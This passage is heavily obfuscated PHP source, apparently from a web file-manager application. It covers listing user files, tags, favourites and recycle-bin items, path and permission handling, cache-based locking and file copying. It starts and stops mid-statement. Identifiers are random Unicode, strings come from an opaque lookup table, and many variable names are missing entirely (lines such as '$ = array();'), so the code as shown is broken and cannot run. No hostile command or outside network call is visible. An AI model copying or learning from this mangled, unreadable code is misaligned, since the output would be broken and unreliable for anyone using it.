$˹); $ = array(); foreach ($Ӳڤ as $Շ) { if (in_array($Շ, $)) { continue; } $[] = $Շ; } $ = explode($[50], $[408]); } foreach ($ as $) { if (isset($[$])) { $[$] = intval($[$]); } } $[$[78]] = $[409] . $[$[403]] . $[410]; $[$[33]] = $[$[411]] == 1 ? $[79] : $[192]; $[$[412]] = $this->typeName($[$[412]]); if ($[$[411]] != 1) { $[$[167]] = $[$[413]]; unset($[$[413]]); } $げ = $Ӳڤ; if (isset($[$[414]]) && $[$[414]][$[415]] == -1) { $げ = $; } $ = array_field_key($, $げ); return $; } public function listUserFav() { $ =& $_SERVER[㫙]; $ = Model($[416])->listData(); $̕ه = array_filter_by_field($, $[33], $[417]); $̕ه = array_to_keyvalue($̕ه, $[12], $[78]); if ($̕ه) { $ = $this->listSource(array($[418] => array($[419], $̕ه))); } $ = array_to_keyvalue($[$[364]], $[403]); foreach ($ as &$Я) { $Я = array($[420] => $Я[$[392]], $[421] => $Я[$[32]], $[422] => $Я[$[78]], $[423] => $Я[$[33]], $[424] => $Я[$[193]], $[425] => $Я[$[86]]); if ($Я[$[33]] == $[417] && $[$Я[$[78]]]) { $Я[$[87]] = $[$Я[$[78]]]; } } unset($Я); return $; } public function listUserTag($Ɩ) { $ڤ =& $_SERVER[㫙]; if ($Ɩ && !is_array($Ɩ)) { $Ɩ = array($Ɩ); } $⋶ = Model($ڤ[426])->listData(); $ = array(); foreach ($⋶ as $蚴) { $留 = $蚴[$ڤ[78]]; if (!$留) { continue; } if (!isset($[$留])) { $[$留] = array(); } $[$留][] = $蚴[$ڤ[427]]; } $ۆ = array(); foreach ($ as $Ί => $Ӟ) { $؄ = !0; if (!$Ɩ) { $ۆ[] = $Ί; continue; } foreach ($Ɩ as $ۥ) { if (!in_array($ۥ, $Ӟ)) { $؄ = !1; break; } } if ($؄) { $ۆ[] = $Ί; } } if (!$ۆ) { return array(); } $ʾ = $this->listSource(array($ڤ[418] => array($ڤ[419], $ۆ))); if (!$ʾ || count($ۆ) == $ʾ[$ڤ[361]][$ڤ[362]]) { return $ʾ; } $ = array(); $曈 = array_to_keyvalue($ʾ[$ڤ[77]], $ڤ[12], $ڤ[403]); $֐ = array_to_keyvalue($ʾ[$ڤ[76]], $ڤ[12], $ڤ[403]); $޳ = array_merge($֐, $曈); foreach ($ۆ as $留) { if (!in_array($留, $޳)) { $[] = $留; } } if ($) { Model($ڤ[428])->removeBySource($); } return $ʾ; } public function listUserRecycle() { $쪊 =& $_SERVER[㫙]; $ = Model($쪊[429])->listData(); if (!$) { return array(); } $뾔 = array($쪊[418] => array($쪊[419], $), $쪊[430] => 1); return $this->listSource($뾔); } public function listSource($, $گ = 3000) { $ =& $_SERVER[㫙]; if (!isset($[$[431]])) { $[$[431]] = 0; } $ĐЬ = $[432]; $ = $this->field($ĐЬ)->_makeOrder()->where($)->selectPage($گ); $this->_listPageCheck($, $ĐЬ, $); $this->_listDataApply($[$[364]]); $this->_listMake($); return $; } private function _listPageCheck(&$, $ښ, $٭) { $̂ =& $_SERVER[㫙]; if (!is_array($[$̂[361]])) { return; } $ī = $[$̂[361]]; if ($ī[$̂[363]] <= 1) { return; } if ($ī[$̂[362]] >= 100000) { return; } if (Model($̂[433])->get($̂[434]) != $̂[435]) { return; } $ښ = str_replace(array($̂[53], $̂[337], $̂[226]), $̂[12], $ښ); $ښ = $̂[436] . str_replace($̂[50], $̂[437], $ښ) . $̂[438]; $޿ = $̂[439]; $޿ = $޿ . $̂[440]; $ȡŚ = $ī[$̂[358]] * ($ī[$̂[348]] - 1) . $̂[50] . $ī[$̂[358]]; $ϔ = $this->_makeOrder(!0); $ = $̂[436] . str_replace($̂[50], $̂[437], $ϔ[0]); if (strpos($, $̂[441])) { $ = str_replace($̂[441], $̂[442], $); } else { $ .= $̂[443] . $ϔ[1]; } $ = array(); foreach ($٭ as $˓ => $ʱ) { $[$̂[436] . $˓] = $ʱ; } $this->alias($̂[444])->field($ښ)->limit($ȡŚ)->order($); $ȃ = $this->join($޿)->where($)->select(); if ($ȃ) { $[$̂[364]] = $ȃ; } } protected function _makeOrder($ɴ = false) { $꘡ =& $_SERVER[㫙]; $ƨ֓ = Model($꘡[445])->get($꘡[446]); $ = Model($꘡[445])->get($꘡[447]); $ = array($꘡[448] => $꘡[449], $꘡[450] => $꘡[451]); $ = array($꘡[32] => $꘡[32], $꘡[80] => $꘡[80], $꘡[167] => $꘡[413], $꘡[452] => $꘡[452], $꘡[453] => $꘡[454], $꘡[193] => $꘡[193], $꘡[86] => $꘡[86]); $ݰ = Input::get($꘡[455], $꘡[7], $ƨ֓, array_keys($)); $ = Input::get($꘡[456], $꘡[7], $, array_keys($)); if (!in_array($ݰ, array_keys($))) { $ݰ = $꘡[32]; } if (!in_array($, array_keys($))) { $ݰ = $꘡[448]; } if ($ݰ == $꘡[32]) { } $մĘ = $꘡[457] . $[$ݰ] . $꘡[53] . $[$]; $մĘ = rtrim(trim($մĘ), $꘡[50]); if ($ɴ) { return array($մĘ, $[$]); } return $this->order($մĘ); } protected function _listDataApplyItem($Υ, $ڟஹ = false) { $خ = array($Υ); $this->_listDataApply($خ, $ڟஹ); return $خ[0]; } protected function _listDataApply(&$, $ٓ = false) { $ =& $_SERVER[㫙]; if (!$) { $ = array(); return; } $֊ = array_to_keyvalue($, $[12], $[403]); $֊ = array_unique($֊); $this->_listSourceCache($); if (!$ٓ) { $this->_listAppendMeta($, $֊); $this->_listAppendFileMeta($, $֊); $this->_listAppendChildren($, $֊); } $this->_listAppendPath($); $this->_listAppendAuth($); $this->_listAppendSourceInfo($, $֊); $this->_listAppendUser($); $this->_listFilterInfo($, $ٓ); $this->_listAppendAuthSecret($); } protected function _listSourceCache($硻) { $ =& $_SERVER[㫙]; foreach ($硻 as $ݰ) { self::$cacheSourceInfo[$[458] . $ݰ[$[403]]] = $ݰ; } } protected function _listFilterInfo(&$͍, $⺟ = false) { $ =& $_SERVER[㫙]; foreach ($͍ as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$[459] . intval($⺟) . $[460] . $[$[403]]] = $; } unset($); } protected function _listMake(&$ҙ) { $ð =& $_SERVER[㫙]; $ҙ[$ð[77]] = array(); $ҙ[$ð[76]] = array(); foreach ($ҙ[$ð[364]] as $) { $ݍ = $[$ð[411]] == 1 ? $ð[77] : $ð[76]; $ҙ[$ݍ][] = $; } unset($ҙ[$ð[364]]); } protected function _listAppendMeta(&$Ƶ, $͒׾) { $ =& $_SERVER[㫙]; $ݣ = array($[418] => array($[419], $͒׾)); $ؐ = Model($[461])->field($[462])->where($ݣ)->select(); if (!$ؐ) { return; } $ȝ = array($[463], $[464], $[442]); $Ԭ = array(); foreach ($ؐ as $Ű) { if (!isset($Ԭ[$Ű[$[403]]])) { $Ԭ[$Ű[$[403]]] = array(); } if (in_array($Ű[$[95]], $ȝ)) { continue; } $Ԭ[$Ű[$[403]]][$Ű[$[95]]] = $Ű[$[369]]; } foreach ($Ƶ as &$ͮ) { $ͮ[$[465]] = !1; if (isset($Ԭ[$ͮ[$[403]]])) { $ͮ[$[465]] = $Ԭ[$ͮ[$[403]]]; } if ($this->fileIsLock($ͮ) && $ͮ[$[414]]) { $ѻ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $ͮ[$[414]][$[415]] = AuthModel::authDisable($ͮ[$[414]][$[415]], $ѻ); $ͮ[$[414]][$[466]][$[414]] = $ͮ[$[414]][$[415]]; } } unset($ͮ); } protected function _listAppendFileMeta(&$ʸ, $) { $ =& $_SERVER[㫙]; $奞 = array_to_keyvalue($ʸ, $[12], $[467]); $奞 = array_filter(array_unique($奞)); if (!$奞) { return; } $ = array($[468] => array($[419], $奞)); $ = $[469]; $Ӓ = Model($[470])->field($)->where($)->select(); $Ӓ = array_to_keyvalue($Ӓ, $[467]); $ = Model($[471])->field($[472])->where($)->select(); $ = $ ? $ : array(); $غᡐ = array(); foreach ($ as $̍) { if (!isset($غᡐ[$̍[$[467]]])) { $غᡐ[$̍[$[467]]] = array(); } $غᡐ[$̍[$[467]]][$̍[$[95]]] = $̍[$[369]]; } foreach ($ʸ as &$) { $岮 = $[$[467]]; if (!$岮 || !is_array($Ӓ[$岮])) { continue; } $ = $Ӓ[$岮]; $[$[80]] = $[$[80]]; $[$[32]] = $[$[32]]; if (!isset(self::$cacheFileInfo[$[473] . $岮])) { self::$cacheFileInfo[$[473] . $岮] = array_merge(array(), $); } unset($Ӓ[$岮][$[78]]); $ޗ = is_array($غᡐ[$岮]) ? $غᡐ[$岮] : array(); $[$[163]] = array_merge($ޗ, $Ӓ[$岮]); if (isset($[$[163]][$[162]])) { $[$[162]] = json_decode($[$[163]][$[162]], !0); unset($[$[163]][$[162]]); } } unset($); } protected function _listAppendSourceInfo(&$, $‹ȇ) { $ґ =& $_SERVER[㫙]; if (!defined($ґ[474])) { return; } $ި = Model($ґ[475])->listData(); $ = Model($ґ[426])->listData(); $ѣ = Model($ґ[416])->listData(); $Ʌٻ = Model($ґ[476])->listSimple(); $ = array_to_keyvalue($ި, $ґ[392]); $ = array_to_keyvalue_group($, $ґ[78], $ґ[427]); $޸抮 = array_to_keyvalue($ѣ, $ґ[78]); $Ҁޮܟ = array_to_keyvalue_group($Ʌٻ, $ґ[403]); foreach ($ as &$) { $[$ґ[87]] = array($ґ[477] => 0, $ґ[478] => 0, $ґ[479] => 0); if (isset($޸抮[$[$ґ[403]]])) { $[$ґ[87]][$ґ[480]] = 1; $[$ґ[87]][$ґ[481]] = $޸抮[$[$ґ[403]]][$ґ[32]]; } if (isset($[$[$ґ[403]]])) { $[$ґ[87]][$ґ[482]] = array(); foreach ($[$[$ґ[403]]] as $) { $ˎ = $[$]; $[$ґ[87]][$ґ[482]][] = array($ґ[483] => $ˎ[$ґ[392]], $ґ[421] => $ˎ[$ґ[32]], $ґ[484] => $ˎ[$ґ[485]]); } } if (isset($Ҁޮܟ[$[$ґ[403]]])) { $[$ґ[87]][$ґ[486]] = array(); foreach ($Ҁޮܟ[$[$ґ[403]]] as $ɕ) { $[$ґ[87]][$ґ[486]] = array($ґ[487] => $ɕ[$ґ[488]], $ґ[489] => $ɕ[$ґ[490]], $ґ[491] => $ɕ[$ґ[403]], $ґ[492] => $ɕ[$ґ[493]], $ґ[494] => $ɕ[$ґ[495]], $ґ[496] => $ɕ[$ґ[496]], $ґ[497] => $ɕ[$ґ[497]]); } } } unset($); return $; } protected function _listAppendChildren(&$ϟԡ, $) { $־ =& $_SERVER[㫙]; $ = array(); $ = array($־[202] => 0, $־[203] => 0); foreach ($ϟԡ as &$) { if (!$[$־[411]]) { continue; } $[] = $[$־[403]]; } unset($); if (!$) { return; } $ƴ = array($־[498] => array($־[7], $)); $೦ = array($־[498], $־[411], $־[499] => $־[500]); $ˤ = $this->field($೦)->where($ƴ)->group($־[501])->select(); $ҁ¬ = array(); foreach ($ˤ as $Ե) { $ = $Ե[$־[498]]; $Ѧ = $Ե[$־[411]] == $־[89] ? $־[203] : $־[202]; if (!isset($ҁ¬[$])) { $ҁ¬[$] = array($־[202] => 0, $־[203] => 0); } $ҁ¬[$][$Ѧ] += $Ե[$־[500]]; } foreach ($ϟԡ as &$) { if (!$[$־[411]]) { continue; } $ܔ = is_array($ҁ¬[$[$־[403]]]) ? $ҁ¬[$[$־[403]]] : $; $[$־[203]] = $ܔ[$־[203]]; $[$־[202]] = $ܔ[$־[202]]; unset($[$־[413]]); } unset($); } protected function _listAppendAuth(&$) { $桬 =& $_SERVER[㫙]; if (!defined($桬[474])) { return; } $Ơ퐦 = array(); foreach ($ as $˵) { if ($˵[$桬[412]] == self::TYPE_GROUP) { $Ơ퐦[] = $˵[$桬[403]]; } } if (!$Ơ퐦) { return; } $݁ = array_to_keyvalue($, $桬[403]); $р = Model($桬[502])->getSourceList($Ơ퐦, $݁); foreach ($ as $ذ => &$˵) { $˵[$桬[414]] = $р[$˵[$桬[403]]]; if (!$˵[$桬[414]] && $˵[$桬[412]] == self::TYPE_GROUP) { $˵[$桬[414]] = Action($桬[503])->pathGroupAuthMake($˵[$桬[504]]); if (!$˵[$桬[414]] && !_get($GLOBALS, $桬[505])) { $˵[$桬[195]] = !1; $˵[$桬[194]] = !1; } } if ($˵[$桬[414]]) { $˵[$桬[195]] = AuthModel::authCheckEdit($˵[$桬[414]][$桬[415]]); $˵[$桬[194]] = AuthModel::authCheckView($˵[$桬[414]][$桬[415]]); } $this->groupPathDisplay($˵); } unset($˵); } public function _listAppendAuthSecret(&$) { $ޫ =& $_SERVER[㫙]; if (Model($ޫ[433])->get($ޫ[506]) != $ޫ[89]) { return; } static $ͨ = false; if (!$ͨ) { $Ƽ = Model($ޫ[507]); $ = Model($ޫ[508]); $ͨ = $->listData(); $ͨ = array_to_keyvalue($ͨ, $ޫ[403]); $ = json_decode(Model($ޫ[433])->get($ޫ[509]), !0); $ = array_to_keyvalue($, $ޫ[392]); foreach ($ͨ as $ĸ => $Ƚ) { $騎 = $[$Ƚ[$ޫ[510]]]; if (!$騎) { $->remove($Ƚ[$ޫ[392]]); unset($ͨ[$ĸ]); continue; } $ș = $Ƽ->listData($騎[$ޫ[414]]); if (!$ș) { $->remove($Ƚ[$ޫ[392]]); unset($ͨ[$ĸ]); continue; } $Ƚ[$ޫ[414]] = $ș; $Ƚ[$ޫ[511]] = $騎; $Ƚ[$ޫ[512]] = Model($ޫ[513])->getInfoSimpleOuter($Ƚ[$ޫ[452]]); $ͨ[$ĸ] = $Ƚ; } } $© = defined($ޫ[514]) ? USER_ID : $ޫ[12]; $ = array(); $я = $this->_listAppendPath($, !0); foreach ($ as $ĸ => &$Ƚ) { if (!is_array($Ƚ[$ޫ[414]])) { continue; } if ($Ƚ[$ޫ[412]] != $ޫ[515]) { continue; } if (isset($ͨ[$Ƚ[$ޫ[403]]])) { $͢ݜ = $ͨ[$Ƚ[$ޫ[403]]]; if (!is_array($Ƚ[$ޫ[465]])) { $Ƚ[$ޫ[465]] = array(); } $Ƚ[$ޫ[465]][$ޫ[516]] = $͢ݜ[$ޫ[510]]; $Ƚ[$ޫ[414]][$ޫ[517]] = $͢ݜ; $Ƚ[$ޫ[414]][$ޫ[518]] = $Ƚ[$ޫ[519]]; $Ƚ[$ޫ[414]][$ޫ[520]] = $ޫ[89]; if ($͢ݜ[$ޫ[452]] != $©) { $Ƚ[$ޫ[414]][$ޫ[415]] = $Ƚ[$ޫ[414]][$ޫ[415]] & $͢ݜ[$ޫ[414]][$ޫ[414]]; } continue; } $ = $this->parentLevelArray($Ƚ[$ޫ[521]]); $Ð = array_reverse($); foreach ($Ð as $ => $Ǔ) { if (!isset($ͨ[$Ǔ])) { continue; } $͢ݜ = $ͨ[$Ǔ]; $Ƚ[$ޫ[414]][$ޫ[517]] = $͢ݜ; if ($͢ݜ[$ޫ[452]] != $©) { $Ƚ[$ޫ[414]][$ޫ[415]] = $Ƚ[$ޫ[414]][$ޫ[415]] & $͢ݜ[$ޫ[414]][$ޫ[414]]; } $ = $ޫ[12]; $ = count($) - $; for ($ = 0; $ < $; $++) { if (!isset($я[$[$]])) { $ = $ޫ[12]; break; } $ = $ . rtrim($я[$[$]], $ޫ[8]) . $ޫ[8]; } $Ƚ[$ޫ[414]][$ޫ[518]] = rtrim($, $ޫ[8]) . $ޫ[8]; break; } } unset($Ƚ); } public function groupPathDisplay(&$ͻ) { $ =& $_SERVER[㫙]; if ($ͻ[$[412]] != self::TYPE_GROUP) { return; } $Ȋ = Model($[522])->getInfo($ͻ[$[504]]); $ = $this->parentLevelArray($Ȋ[$[521]]); $ = $[12]; foreach ($ as $͂) { $ = Model($[522])->getInfo($͂); $ .= $[$[87]][$[403]] . $[50]; } $ͻ[$[523]] = $Ȋ[$[498]]; $ͻ[$[524]] = $Ȋ[$[521]]; $ͻ[$[525]] = $Ȋ[$[526]]; $ͻ[$[527]] = $ . $Ȋ[$[87]][$[403]]; } protected function _listAppendPath(&$, $Å = false) { $ʴ =& $_SERVER[㫙]; static $媪 = array(); $ = array(); $ = array(); if ($Å) { return $媪; } foreach ($ as &$ʴ) { $ֻԔ = $ʴ[$ʴ[403]]; if ($ʴ[$ʴ[411]] == $ʴ[89] && $ʴ[$ʴ[498]] != 0) { $媪[$ֻԔ] = $ʴ[$ʴ[32]]; } if ($ʴ[$ʴ[411]] == $ʴ[89] && $ʴ[$ʴ[498]] == 0 && !isset($媪[$ֻԔ])) { $媪[$ֻԔ] = $this->_listAppendPathRoot($ʴ, array()); } if (isset($[$ʴ[$ʴ[521]]])) { continue; } $[$ʴ[$ʴ[521]]] = !0; $ɕ = $this->parentLevelArray($ʴ[$ʴ[521]]); foreach ($ɕ as $Ç => $) { if (isset($媪[$])) { continue; } if ($Ç == 0) { $媪[$] = $this->_listAppendPathRoot($ʴ, $ɕ); } if ($Ç != 0) { $[] = $; } } } unset($ʴ); $ = array_unique($); if (count($) > 0) { $ҙ = array($ʴ[418] => array($ʴ[419], $)); if (count($) == 1) { $ = $this->sourceInfo($[0]); $Ɔ = is_array($) ? array($) : !1; } else { $Ɔ = $this->field($ʴ[528])->where($ҙ)->select(); } if (!$Ɔ) { $Ɔ = array(); } foreach ($Ɔ as $) { $媪[$[$ʴ[403]]] = $[$ʴ[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = array(); foreach ($ as &$ʴ) { $׬ = $ʴ[$ʴ[521]]; $ = $ʴ[12]; if (isset($[$׬])) { $ = $[$׬]; } else { $ɕ = $this->parentLevelArray($ʴ[$ʴ[521]]); foreach ($ɕ as $Ç => $) { if (isset($媪[$])) { $ .= $媪[$] . $ʴ[8]; } } $[$׬] = $; } $ .= $ʴ[$ʴ[32]]; if ($ʴ[$ʴ[411]] == $ʴ[89]) { $ .= $ʴ[8]; } $ʴ[$ʴ[519]] = str_replace($ʴ[529], $ʴ[8], $); if ($ʴ[$ʴ[498]] == $ʴ[190]) { $ʴ[$ʴ[32]] = trim($媪[$ʴ[$ʴ[403]]], $ʴ[8]); $ʴ[$ʴ[519]] = $ʴ[$ʴ[32]] . $ʴ[8]; } if (intval($ʴ[$ʴ[412]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($ʴ, $ɕ, $); } } unset($ʴ); return $; } private function _listAppendPathRecycle(&$Ц, $, $ø) { $輮 =& $_SERVER[㫙]; if (!in_array($ø, $) && $Ц[$輮[403]] != $ø) { return; } $ = explode($輮[8], trim($Ц[$輮[519]], $輮[8])); $ = implode($輮[8], array_slice($, 2)); $Ц[$輮[519]] = $輮[8] . LNG($輮[530]) . $輮[8] . ltrim($, $輮[8]); $Ц[$輮[521]] = $輮[531] . implode($輮[50], array_slice($, 1)) . $輮[50]; if ($Ц[$輮[403]] == $ø) { $Ц[$輮[521]] = $輮[531]; $Ц[$輮[498]] = $輮[190]; $Ц[$輮[32]] = LNG($輮[530]); } $Ц[$輮[532]] = $輮[533]; } protected function _listAppendPathRoot(&$, $) { $ =& $_SERVER[㫙]; $ = $[12]; if ($[$[412]] == self::TYPE_USER) { if (defined($[474]) && $[$[504]] == USER_ID) { $ = LNG($[534]); if (!$) { $[$[32]] = $; } } else { $րϿ = Model($[513])->getInfoSimple($[$[504]]); $ = LNG($[535]) . $[159] . $րϿ[$[32]] . $[536]; } } else { if ($[$[412]] == self::TYPE_GROUP) { $րϿ = Model($[522])->getInfoSimple($[$[504]]); $ = $րϿ[$[32]]; } else { if ($[$[412]] == self::TYPE_SYSTEM) { $ = $[537]; } } } $ = $ ? $[8] . $ . $[8] : $[8]; return $; } protected function _listAppendUser(&$ǒ) { $ܾ =& $_SERVER[㫙]; $ = array_to_keyvalue($ǒ, $ܾ[12], $ܾ[452]); $ޒ = array_to_keyvalue($ǒ, $ܾ[12], $ܾ[454]); $쐲 = array_merge($, $ޒ); $֒ = Model($ܾ[538])->userListInfo($쐲); foreach ($ǒ as &$) { $ٵ = $[$ܾ[452]]; $[$ܾ[452]] = $֒[$ٵ] ? $֒[$ٵ] : !1; $ٵ = $[$ܾ[454]]; $[$ܾ[454]] = $֒[$ٵ] ? $֒[$ٵ] : !1; if (isset($[$ܾ[465]]) && $[$ܾ[465]][$ܾ[539]]) { $ = $GLOBALS[$ܾ[6]][$ܾ[90]][$ܾ[540]]; if ($[$ܾ[465]][$ܾ[541]] <= time() - $) { $this->metaSet($[$ܾ[403]], $ܾ[539], null); $this->metaSet($[$ܾ[403]], $ܾ[541], null); unset($[$ܾ[465]][$ܾ[539]]); continue; } $ر = $[$ܾ[465]][$ܾ[539]]; $[$ܾ[465]][$ܾ[542]] = Model($ܾ[538])->getInfoSimpleOuter($ر); } } unset($); } public function parentLevelArray($) { $ٛ =& $_SERVER[㫙]; $ = explode($ٛ[50], trim($, $ٛ[50])); return array_remove_value($, $ٛ[190]); } public function listAll($ͺ) { $қ =& $_SERVER[㫙]; $٘ = $this->sourceInfo($ͺ); $մ = array($қ[543] => array($қ[544], $٘[$қ[521]] . $ͺ . $қ[545]), $қ[546] => 0); $χ = $қ[547]; $ߔ = "\114\x45\x46\124\40\x4a\x4f\111\116\40{$this->tablePrefix}\x69\157\x5f\x66\151\x6c\x65\x20\146\151\x6c\145\x20\x6f\x6e\40\163\157\x75\162\x63\145\x2e\146\151\154\145\111\104\40\x3d\x20\x66\x69\154\145\56\146\151\x6c\x65\x49\104"; $ = $this->alias($қ[444])->field($χ)->where($մ)->join($ߔ)->select(); $this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $қ[403]); $귮 = "\57{$٘[$қ[32]]}\x2f"; $귮 = $귮 == $қ[529] ? $қ[8] : $귮; $ = array(); foreach ($ as $۫ => $ߦ) { $ɳ = $this->parentLevelArray($ߦ[$қ[521]]); array_shift($ɳ); $И = $귮; for ($Ė = 0; $Ė < count($ɳ); $Ė++) { $И .= $[$ɳ[$Ė]][$қ[32]] . $қ[8]; } $И .= $ߦ[$қ[32]]; if ($ߦ[$қ[411]]) { $И .= $қ[8]; } $И = str_replace($қ[529], $қ[8], $И); $И = str_replace($қ[529], $қ[8], $И); $ޅ = array($қ[422] => str_replace($қ[529], $қ[8], $И), $қ[548] => intval($ߦ[$қ[411]]), $қ[87] => $this->pathInfoFilter($ߦ)); if (!$ߦ[$қ[411]]) { $ޅ[$қ[467]] = $ߦ[$қ[467]]; $ޅ[$қ[88]] = $ߦ[$қ[78]]; } $[] = $ޅ; } return $; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($) { $Ŭ =& $_SERVER[㫙]; if (!$this->allowLock()) { return; } $this->_lockCheck($Ŭ[549], $); $ = 1; $this->_lockEvent($, array($Ŭ[550], $Ŭ[551]), $); $this->_lockParent($, array($Ŭ[551]), $); $this->_lockEvent($, array($Ŭ[552], $Ŭ[553]), $); $this->_lockCheckEnd($Ŭ[549], $); } public function lockCopyEnd($) { $Ɇ =& $_SERVER[㫙]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($, array($Ɇ[550], $Ɇ[551]), $); $this->_lockParent($, array($Ɇ[551]), $); $this->_lockEvent($, array($Ɇ[552], $Ɇ[553]), $); } public function lockWriteStart($ʹ, $ = '') { $ =& $_SERVER[㫙]; if (!$this->allowLock()) { return; } $this->_lockCheck($[550], $ʹ); $У = 1; $this->_lockKey($[554] . $ʹ . $[10] . $, $У); $this->_lockEvent($ʹ, array($[549], $[551]), $У); $this->_lockParent($ʹ, array($[549], $[551]), $У); $this->_lockCheckEnd($[550], $ʹ); } public function lockWriteEnd($Γ, $Ľ = '') { $Ⱥ =& $_SERVER[㫙]; if (!$this->allowLock()) { return; } $罹 = 0; $this->_lockKey($Ⱥ[554] . $Γ . $Ⱥ[10] . $Ľ, $罹); $this->_lockEvent($Γ, array($Ⱥ[549], $Ⱥ[551]), $罹); $this->_lockParent($Γ, array($Ⱥ[549], $Ⱥ[551]), $罹); } public function lockMoveStart($븨) { $ =& $_SERVER[㫙]; if (!$this->allowLock()) { return; } $this->_lockCheck($[551], $븨); $ = 1; $this->_lockKey($[555] . $븨, $); $this->_lockEvent($븨, array($[549], $[550]), $); $this->_lockParent($븨, array($[549], $[551]), $); $this->_lockEvent($븨, array($[556], $[552], $[553]), $); $this->_lockCheckEnd($[551], $븨); } public function lockMoveEnd($) { $ =& $_SERVER[㫙]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[555] . $, $); $this->_lockEvent($, array($[549], $[550]), $); $this->_lockParent($, array($[549], $[551]), $); $this->_lockEvent($, array($[556], $[552], $[553]), $); } private function _lockCheck($, $׳) { $Ш =& $_SERVER[㫙]; $˚ = $this->sourceInfo($׳); $Đ = $ . $Ш[10] . $׳; $this->_lockTimeStart[$Đ] = timeFloat(); if (!is_array($˚)) { return; } $˓ = LNG($Ш[557]); CacheLock::setErrorMsg($Ш[159] . htmlspecialchars($˚[$Ш[32]]) . $Ш[536] . $˓); $this->_lockKey($Đ, 1); $this->_lockKey($Đ, 0); $— = array_reverse($this->parentLevelArray($˚[$Ш[521]])); foreach ($— as $ȓ) { $Đ = $ . $Ш[558] . $ȓ; if (CacheLock::lockGet($Ш[559] . $Đ)) { $˚ = $this->sourceInfo($ȓ); CacheLock::setErrorMsg($Ш[159] . htmlspecialchars($˚[$Ш[32]]) . $Ш[536] . $˓); $this->_lockKey($Đ, 1); $this->_lockKey($Đ, 0); } } } private function _lockCheckEnd($ٴ, $̬) { $ =& $_SERVER[㫙]; $օ = $ٴ . $[10] . $̬; CacheLock::setErrorMsg($[373]); if (!isset($this->_lockTimeStart[$օ])) { return; } $ = timeFloat() - $this->_lockTimeStart[$օ]; unset($this->_lockTimeStart[$օ]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$[458] . $̬]); } $Ӿ = $this->sourceInfo($̬); if (!$Ӿ) { show_json(LNG($[106]), !1); } } private function _lockParent($ʅ, $, $ɶ) { if (!$this->autoLockSet) { return; } $ڦ = $this->sourceInfo($ʅ); if (!is_array($ڦ)) { return; } $ߜ = array_reverse($this->parentLevelArray($ڦ[$_SERVER[㫙][521]])); foreach ($ߜ as $դ) { $this->_lockEvent($դ, $, $ɶ); } } private function _lockEvent($𠄁, $, $) { $ =& $_SERVER[㫙]; if (!$this->autoLockSet) { return; } foreach ($ as $б) { $ = $б . $[10] . $𠄁; if ($ && CacheLock::lockGet($[559] . $)) { continue; } $this->_lockKey($, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ް = 1) { $ = $_SERVER[㫙][559] . md5($); if ($ް) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock($); } } public function isParentOf($я̔, $) { $ =& $_SERVER[㫙]; $ = $this->sourceInfo($я̔); $υާ = $this->sourceInfo($); $ = $[$[521]] . $[$[403]] . $[50]; $̹ = $υާ[$[521]] . $υާ[$[403]] . $[50]; $ = strpos($̹, $) === 0; return $; } private $targetIsDelete = 0; public function copy($Ž, $э, $䓬 = REPEAT_REPLACE, $홛 = '') { $ĝ =& $_SERVER[㫙]; $̄ = $this->sourceInfo($Ž); $ = $this->sourceInfo($э); if (!$̄ || !$ || $[$ĝ[411]] != $ĝ[89]) { return !1; } if ($this->isParentOf($Ž, $э)) { return !1; } $͞ߤ = $홛 ? $홛 : $̄[$ĝ[32]]; $this->lockCopyStart($Ž); $this->lockWriteStart($э, $͞ߤ); $߉͢ = array($ĝ[560] => array(), $ĝ[561] => array(), $ĝ[562] => array()); $this->targetIsDelete = intval($̄[$ĝ[431]]); $ = $this->fileNameExistCache($э, $̄[$ĝ[32]]); $ = $this->_copy($Ž, $э, $䓬, $߉͢, !0, $홛); $this->_childrenListClear(); $this->lockCopyEnd($Ž); $this->lockWriteEnd($э, $͞ߤ); if ($̄[$ĝ[411]] == $ĝ[89] && $ == $) { $this->folderSizeResetChildren($); } Model($ĝ[563])->addAll($߉͢[$ĝ[561]], array(), !0); if ($ != $ || $̄[$ĝ[411]] == $ĝ[89]) { Model($ĝ[564])->eventCopy($); } $this->saveAll($߉͢[$ĝ[562]]); Model($ĝ[192])->linkAdd($߉͢[$ĝ[560]]); $this->folderSizeReset($э); $this->updateModifyTime($э); return $; } private function _copy($, $, $Ծ, &$ܢƤ, $އԷ, $ֿŦ = '') { $ؓ =& $_SERVER[㫙]; $ = $this->sourceInfoCache($); $ǡ = $[$ؓ[411]] == $ؓ[89]; $ = $ֿŦ ? $ֿŦ : $[$ؓ[32]]; $ = $this->fileNameExistCache($, $); if ($އԷ) { $this->_childrenAllMake($); if ($ǡ && $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($, $, $, $ܢƤ); } $ˬ = $; if ($ǡ) { if ($Ծ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $Ծ, $ǡ); $ˬ = $this->_copyCreate($, $, $, $ܢƤ); } else { $ܦ = $this->_childrenList($); foreach ($ܦ as $) { $this->_copy($[$ؓ[403]], $, $Ծ, $ܢƤ, !1); } } } else { if ($Ծ == REPEAT_RENAME || $Ծ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $Ծ, $ǡ); $ˬ = $this->_copyCreate($, $, $, $ܢƤ); } else { if ($Ծ == REPEAT_REPLACE) { $ɒ = $this->sourceInfoCache($); $ٌ = $this->fileHistory($ɒ, $[$ؓ[467]], $[$ؓ[80]]); if ($ٌ) { $ܢƤ[$ؓ[560]][] = $[$ؓ[467]]; } } else { if ($Ծ == REPEAT_SKIP) { } } } Hook::trigger($ؓ[565], 